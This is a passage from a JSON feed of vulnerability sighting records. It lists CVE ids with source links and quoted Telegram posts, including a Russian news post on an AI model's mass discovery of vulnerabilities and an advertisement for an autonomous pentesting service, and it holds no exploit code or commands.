Team\u2026\n\nhttps://core-jmp.org/2026/07/cve-2026-2796-claude-firefox-webassembly-exploit/", "creation_timestamp": "2026-09-03T00:00:39.673270Z"}, {"uuid": "8d68e551-6d0b-44b2-8b76-dab1ff0fd7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3558", "content": "https://core-jmp.org/2026/07/unitree-go2-rce-cve-2026-27509-27510/", "creation_timestamp": "2026-09-03T00:00:39.758321Z"}, {"uuid": "15d8ed9c-dfe1-4ca9-97e1-0ae3d885f297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "published-proof-of-concept", "source": "Telegram/geFIdEurthJC81uvedAy7Je7bmf61756WHWGo7im76vrTZM", "content": "", "creation_timestamp": "2026-09-03T00:00:43.138303Z"}, {"uuid": "7d878b68-a5f0-4858-84b3-57bc1f70d22a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/Russian_OSINT/7197", "content": "\ud83c\ude01 \u041f\u0435\u0440\u0432\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442 Glasswing\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Anthropic \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u0435\u0436\u0438\u0435 \u0446\u0438\u0444\u0440\u044b \u043f\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0435 Project Glasswing. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 \u043e\u043a\u043e\u043b\u043e 50 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \ud83e\udd16Mythos Preview \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \ud83d\ude06\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f. \u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 \u2194\ufe0f10 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udda5 \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 2 000 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0418\u0437 \u043d\u0438\u0445 400 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c, \u0447\u0435\u043c \u0443 \u043b\u044e\u0434\u0435\u0439-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432.\n\n\ud83e\uddca \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Mozilla \u043d\u0430\u0448\u043b\u0438 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 271 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Firefox 150.\n\n\ud83c\uddec\ud83c\udde7\u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0418\u0418 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e Mythos \u0441\u0442\u0430\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u043b\u0438\u0433\u043e\u043d\u0430\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0441\u043e\u0431\u043e\u0439 \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Anthropic \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0442\u0430\u043b\u0430 \u043d\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438. \u041d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0441\u0432\u043e\u044e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0431\u0430\u043d\u043a\u043e\u0432-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u043e\u0432 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $1,5 \u043c\u043b\u043d.\n\n\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\ud83d\udd0d \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\u2022 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u044f\u0432\u0438\u043b\u0430 23 019 \"\u043d\u0430\u0445\u043e\u0434\u043e\u043a\". \u0424\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438.\n\u2022 \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438 1 900 \u043d\u0430\u0445\u043e\u0434\u043e\u043a.\n\u2022 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c 1 726 \u0431\u0430\u0433\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u043b\u044f \u0442\u043e\u0447\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 90,8%.\n\u2022 \u041e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-27654, CVE-2026-5199 \u0438 CVE-2026-5466.\n\n\ud83d\udce8 \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \n\u2022 \u0410\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u043e 1 596 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\u2022 \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0445\u0432\u0430\u0442\u0438\u043b\u0430 281 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u041f\u041e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e 1 451 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udee1 \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 97 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\u2022 \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e 88 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CVE \u0438 GHSA.\n\n\ud83d\udc46\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0435\u043b\u0438\u0437 \ud83e\udd16Mythos \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\n\n--------------------------\n\n\ud83d\udcd6\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438 \u0431\u044b\u0432\u0448\u0438\u0445 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, \u0411\u0435\u043b\u044b\u0439 \u0434\u043e\u043c \u043e\u0434\u043e\u0431\u0440\u0438\u043b \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $9 \u043c\u043b\u0440\u0434 \u0434\u043b\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0447\u0438\u043f\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0421\u0428\u0410 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u044b.\n\nNYT \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \ud83c\uddfa\ud83c\uddf8\u0426\u0420\u0423 \u0438 \ud83c\uddfa\ud83c\uddf8\u0410\u041d\u0411 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0435 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u044b, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043b\u043e\u0441\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0438 \u043e\u0441\u043d\u0430\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u043d\u043e\u0433\u043e \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041a\u043e\u043d\u0433\u0440\u0435\u0441\u0441 \u0421\u0428\u0410 \u0435\u0449\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u044d\u0442\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 $800 \u043c\u043b\u043d \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u043a\u0443\u043f\u043a\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0443\u043c\u043c\u044b. \u0411\u044b\u0432\u0448\u0438\u0439 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0410\u041d\u0411 \u0438 \u0441\u0442\u0430\u0440\u0448\u0438\u0439 \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u043f\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0418 \u0432 \u0421\u043e\u0432\u0435\u0442\u0435 \u043f\u043e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u043c \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c \u0412\u0438\u043d\u044c \u041d\u0433\u0443\u0435\u043d \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u0440\u0443\u0431\u0435\u0436\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u0443\u0447\u0448\u0438\u0435 \u0418\u0418-\u0447\u0438\u043f\u044b, \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u044b.\n\n\u0413\u043b\u0430\u0432\u0430 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430 \u0411\u0435\u043b\u043e\u0433\u043e \u0434\u043e\u043c\u0430 \u0421\u044c\u044e\u0437\u0438 \u0423\u0430\u0439\u043b\u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \ud83c\udfa9\u0410\u041d\u0411 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 Mythos \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Anthropic. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u041f\u0435\u043d\u0442\u0430\u0433\u043e\u043d \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043b \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-03T00:00:44.956865Z"}, {"uuid": "2d094193-a0a7-4831-a449-dc83dc022cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27471", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/45642", "content": "\ud83d\udc30 BugBunny AI \u2014 tested it. Actually insane.\n\nAutonomous AI agents that run full pentests \u2014 recon, exploitation, PoC validation \u2014 zero human input.\n\nWhat it does:\n\u2705 Maps your full attack surface\n\u2705 Finds SQLi, XSS, RCE, SSRF, IDOR, Auth Bypass & more\n\u2705 Validates every finding with a working exploit (no false positives)\n\u2705 Generates audit-ready reports with CVSS scores\n\u2705 Reviews Pull Requests & suggests inline fixes\n\nReal CVEs dropped:\n\ud83d\udd34 CVE-2026-33016 \u2014 ShareX RCE\n\ud83d\udd34 CVE-2025-61622 \u2014 Apache Fory Python RCE \u00b7 9.8\n\ud83d\udd34 CVE-2025-58434 \u2014 Flowise.ai Full ATO \u00b7 9.8\n\ud83d\udd34 CVE-2026-27471 \u2014 ERPNext Unauth Data Access \u00b7 9.1\n\ud83d\udd34 CVE-2026-22807 \u2014 vLLM RCE \u00b7 8.8\n\ud83d\udd34 CVE-2025-59057 \u2014 React Router Stored XSS \u00b7 7.6\n\nAlso found 5 RCEs in Google Gemini CLI  accepted by Google VRP.\nTargets hit: Google, Meta, Microsoft, Apache, ClickHouse & more.\n\n\ud83d\udc49 https://bugbunny.ai", "creation_timestamp": "2026-09-03T00:00:48.356202Z"}, {"uuid": "a05b6bcc-d0e6-492e-8e39-e5e3eb475d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  